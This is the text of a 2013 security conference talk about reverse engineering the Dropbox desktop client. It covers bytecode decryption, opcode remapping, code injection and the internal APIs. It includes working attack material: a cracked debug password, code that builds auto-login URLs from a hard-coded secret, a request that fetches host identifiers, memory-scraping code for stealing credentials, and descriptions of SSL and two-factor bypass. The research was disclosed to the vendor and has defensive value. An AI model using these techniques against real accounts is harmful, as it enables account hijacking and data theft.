Looking inside the (Drop) box

Breaking a 10 billion USD product ;)

Przemysław Węgrzyn, Dhiru Kholia

2013.08.13

About Przemysław

- Freelance software developer, Python user
- Occasional open-source contributor (LIDS, Postfix, PDNS)
- Reverse engineering freak
- @czajnick on Twitter

About Dhiru

- dhiru@openwall.com
- JtR, Ettercap and hashkill developer
- Metasploit and Nmap contributor
- @DhiruKholia on Twitter
- https://github.com/kholia
- "john-users" and "john-dev" mailing list
- #openwall channel on Freenode

Agenda

- About Dropbox
- Existing Work
- Unpack, decrypt and decompile Dropbox
- Interesting code snippets
- Hijacking Dropbox accounts
- Ettercap and Metasploit plug-ins
- Bypassing SSL
- Dropbox internal API and bypassing 2FA
- Dropbox OSS client
- DEMO :-)

About Dropbox

- Leading cloud based file storage service
- 175 million+ users and growing fast
- Worth 10 billion USD
- Runs almost anywhere (no Java crap!)
- Dropbox client, a modified interpreter running obfuscated bytecode.

Existing Work

- (2012) A Critical Analysis of Dropbox Software Security, Nicolas RUFF and Florian LEDOUX (EADS guys)
- EADS guys analyzed versions 1.1.x to 1.5.x. Fails for 1.6.x released in November, 2012.
- Mostly kept the "juicy" bits (like source code) to themselves
- "dropboxdec" by Hagen Fritsch in 2012, for versions 1.1.x only.

Earlier reversing techniques

- pyREtic (Rich Smith, Black Hat / DEFCON 2010) doesn't work for reversing Dropbox since *co_code* (code object attribute, raw bytecode) can't be accessed anymore at the Python layer.
- Replacing .pyc with .py to control execution doesn't work!
- marshal.dumps is patched too!
- "Reverse Engineering Python Applications" (WOOT '08 paper, Aaron Portnoy) technique doesn't work for the same reason.
- Dropbox is "challenging" to reverse and existing techniques fail.

Dropbox 1.1.x to 2.3.19

- (Most) Dropbox clients are written mostly in Python
- py2exe is used for packaging Windows client
- Python27.dll (customized version) can be extracted from the Dropbox.exe using PE Explorer
- Dropbox.exe also contains a ZIP of all encrypted PYC files (bytecode)

What about Linux version?

- bbFreeze is (most likely) used for packaging Linux clients
- Static linking is used. There is no Python / OpenSSL .so file to extract and analyze in IDA Pro :-(

Extract encrypted bytecode, "unpacker"

```
import zipfile

fileName = "Dropbox.exe"

ztype = zipfile.ZIP_DEFLATED

f = zipfile.PyZipFile(fileName, "r", ztype)

f.extractall("pyc_orig")

# Works on all versions & all platforms!
```

bytecode (.pyc) decryption

- No human-readable strings in `.pyc` files - encrypted!
- `.pyc` files are simply code objects marshaled (serialized)
- Analyzed `Python27.dll(modified Python interpreter)` from the Windows version of Dropbox
- We found Python's `r_object()` (`marshal.c`) function patched to decrypt code objects upon loading
- Also `.pyc` magic number was changed - trivial to fix

.pyc decryption

- To decrypt the buffer `r_object()` calls a separate function inside `Python27.dll`
- Why not call this decryption function from outside the DLL?
- Hard-coded address, as it has no symbol attached
- Unusual calling ABI, inline ASM saves the day!
- Slightly tricky due to code objects nested recursively
- No need at all to analyse the encryption algorithm, keys, etc.
- Around 300 lines of simple C code to get decrypted files

Opcode Remapping

- Valid strings, but `.pyc` files still fail to load
- CPython is a simple opcode (1 byte long) interpreter
- `ceval.c` is mostly a big `switch` statement inside a loop
- It was patched to use different opcode values
- Mapping recovered manually by comparing disassembled DLL with standard `ceval.c`
- The most time consuming part - ca. 1 evening ;)

bytecode decryption on Linux

- Everything statically linked into a single binary
- Decryption function inlined into `r_object()`, we can no longer call it from outside
- Need to find a more robust approach
- How about loading `.pyc` files and serializing them back?
- How do we gain control flow to load these .pyc files?

Good, old `LD_PRELOAD`

- We can use `LD_PRELOAD` to inject our C code into `dropbox` process

```
export LD_PRELOAD=libdedrop.so
```

- Just override some common C function like `strlen()` to gain control
- Can we inject Python code this way?
- Yeah, we can call `PyRun_SimpleString`
- BTW, it's official Python C API
- Look Ma, my Python file running inside a Dropbox binary!

Decryption for FREE!

- We can use `LD_PRELOAD` to inject our C code into `dropbox` process
- From injected code we can call another un-marshalling function, `PyMarshal_ReadLastObjectFromFile`
- It loads (and decrypts!) the code objects from **encrypted** .pyc file
- We no longer care about decryption, we get it for free!
- We still need to remap the opcodes, though!

Solving Opcode Mapping

- Opcode mapping was recovered manually initially
- Tedious and not future-proof at all
- We can NOW recover the mapping in a fully automated way
- Restored the *import* functionality in Dropbox
- all.py exercises > 95% of the opcodes, compile under both interpreters and do simple mapping between two bytecode versions

Missing co_code at Python layer

- co_code is not visible to the Python layer
- Layout of structure hosting co_code's is unknown!
- Need to find offset of co_code somehow
- Create new code object with known code string using PyCode_New()
- Use linear memory scan to locate the offset of the known code stream
- Problem Solved ;)

Decryption for FREE!

- The missing part - serializing it back to file
- Object marshalling was stripped from Dropbox's Python, for good reasons ;)
- We used PyPy's `_marshal.py`
- ... and yes, we inject the whole thing into the Dropbox process.

Decrypting encrypted bytecode

- Our method is lot shorter, easier and reliable than EADS one
- Around 200 lines of easy C, 350 lines of Python (including marshal code from PyPy)
- Robust, as we don't even need to deal with decryption ourselves
- Worked with all versions of Dropbox that we used for testing

Decompiling decrypted bytecode

- uncompyle2
- A Python 2.5, 2.6, 2.7 byte-code decompiler, written in Python 2.7
- https://github.com/Mysterie/uncompyle2
- Super easy to use ($ uncompyle2 code.pyc) and it works great!
- We used https://github.com/wibiti/uncompyle2 since it is a bit more stable!

Interesting code snippets

```
IS_DEV_MAGIC = DBDEV and hashlib.md5(DBDEV)
    .hexdigest().startswith('c3da6009e4')
```

- Logging is a "protected" developers-only feature
- Turning IS_DEV_MAGIC on enables debug mode which results in lot of logging output
- It is possible to externally set this DBDEV environment variable

Cracking partial MD5 hash

- Wrote JtR plug-in for cracking the partial hash
- Superjames from #openwall cracked it before our plug-in had a chance

```
$ echo -en "a2y6shya" | md5sum
   c3da6009e40a6f572240b8ea7e814c60

$ export DBDEV=a2y6shya; dropboxd
```

- This results in Dropbox printing debug logs to console
- So what? What is interesting about these logs?

host_id (Key Security Item)

- Each endpoint registration is associated with a unique, persistent 128-bit secret value called host_id.
- Generated by server during installation. Not affected by password changes!
- host_id was stored in clear-text (in older versions) in a SQLite database
- In earlier versions of Dropbox, getting host_id was enough to hijack accounts (Derek Newton)
- host_id is now stored in encrypted fashion
- Also, we need host_id and "host_int" these days

Hijacking accounts using logs!

- host_id and host_int can be extracted from the DEBUG logs!
- This method is used in dropbox_creds.rb (Metasploit post module) plug-in to hijack Dropbox accounts.

  https://github.com/rapid7/metasploit-framework/pull/1497

- Fixed after we reported it to Dropbox guys.

host_id and host_int

- In addition, host_id can be extracted from $HOME/.dropbox/config.dbx (using tools published by EADS guys)
- host_id and the host_int values can also be extracted from memory of the Dropbox process (more on this later)
- host_int can be "sniffed" from Dropbox LAN sync protocol traffic

LAN sync protocol + host_int sniffing

- host_int can be "sniffed" from Dropbox's LAN sync protocol traffic (but this protocol can be disabled by the user)
- Wrote Ettercap plug-in since Nmap plug-in was broken!

  https://github.com/kholia/ettercap/tree/dropbox
- $ nmap -p17500 –script=broadcast-dropbox-listener –script-args=newtargets
- host_int doesn't seem to change (is it fixed by design?)

Dropbox Tray Login

- What do I do with the host_id and the host_int values?
- How does the Dropbox client automagically log-on an user to its website from the tray icon?
- Use the Source, Luke!

Web link generation

```
host_id = ?    # required!
host_int = ?   # required!

baseurl = "https://www.dropbox.com/tray_login"
fixed_secret = "ssKeevie4jeeVie9bEen5baRFin9"
now = int(time.time())

h = hashlib.sha1('%s%s' % (fixed_secret,
        host_id, now)).hexdigest()

url = "%s?i=%d&t=%d&v=%s&url=home&cl=en_US" %
          (baseurl, host_int, now, h)

print url # :-)
```

More host_int hacks

- host_int is received from the Dropbox server at the very start.
- So can we ask the server for it ?
- Turns out it is "easy" to do so.

Get host_int from server!

```
host_id = ?  # required!

ctype = 'application/x-www-form-urlencoded'
baseurl = 'https://client10.dropbox.com/'
data = "buildno=Dropbox-win-1.7.5&tag=&\
        uuid=123456&server_list=True&\
        host_id=%s&hostname=random" % host_id
headers = {'content-type': ctype}
r = requests.post(url + 'register_host',
        data=data, headers=headers)
data = json.loads(r.text)

host_int = data["host_int"]

# host_id is EVERYTHING in Dropbox world!
```

Question?

- You can’t sniff Dropbox traffic!
- So, how did we manage to figure out all these internal API calls?
- Reading code is "hard"!

Reflective DLL injection / LD_PRELOAD

- Inject a custom DLL / DSO, patch Python objects and bypass SSL encryption
- Find SSLSocket objects and patch their read(), write() and send() methods
- Can also steal host_id, host_int or whatever we want!

Patching & Snooping

```
# 1. Inject code into Dropbox.
# 2. Locate PyRun_SimpleString using dlsym
#    from within the Dropbox process
# 3. Feed the following code to the located
#    PyRun_SimpleString

import gc

objs = gc.get_objects()
for obj in objs:
    if hasattr(obj, "host_id"):
        print obj.host_id
    if hasattr(obj, "host_int"):
        print obj.host_int
```

Dropbox API and bypassing 2FA

- Bypassed SSL and peeked at traffic to understand the internal API
- Now it is possible to write an open-source Dropbox client
- Dropbox's two factor authentication can be bypassed by using this internal API!
- Inject / Use host_id, bypass 2FA, gain access to Dropbox's website + all data!
- host_id trumps every other security measures!

Challenges / Future Work

- "export DBDEV=a2y6shya" trick is patched in 2.0.0 (current stable release). Dropbox guys now check full hash value.
- SHA-256 hash ’e27eae61e774b19f4053361e523c771a92e838026da42c60e6b097d9cb2bc825‘
- Can we break this SHA-256 hash?
- Can we run from the decompiled "sources"? ;)

DEMO!

- Get Dropbox
- Extracting and de-compiling bytecode
- Accounting hijacking (dropbox-jack-v2.py)
- Dropbox OSS client

Resources

- Dropbox OSS PoC client, dedrop, all our source-code!

  https://github.com/kholia/dedrop

- https://github.com/wibiti/uncompyle2.git

- https://github.com/kholia/dbx-keygen-linux.git

Fun Stuff ;)

- http_authentication.py file contains,
- ’fak returned’, FakeShit realm="hi"
- NTLM realm="your mom", you="suck",
- Digest realm=’"hi", Shit"’
- There actually is a file named "ultimatesymlinkresolver.py"
- Can’t really say what is so "ultimate" about resolving symlinks ;)
- Dropbox runs nginx, "nginx/1.2.7"

Questions & Discussion

- Are the obfuscation measures helping Dropbox and their users?
- Is this "arms-race" going to stop?
- Your questions!

Thanks!

- Solar Designer and Openwall for the funding, guidance and many other things!
- Openwall folks, my colleagues at work, anonymous reviewers and friends for their invaluable feedback and encouragement
- Hagen Fritsch for showing that automated opcode mapping recovery is possible
- EADS guys and wibiti for their work on uncompyle2

Thanks!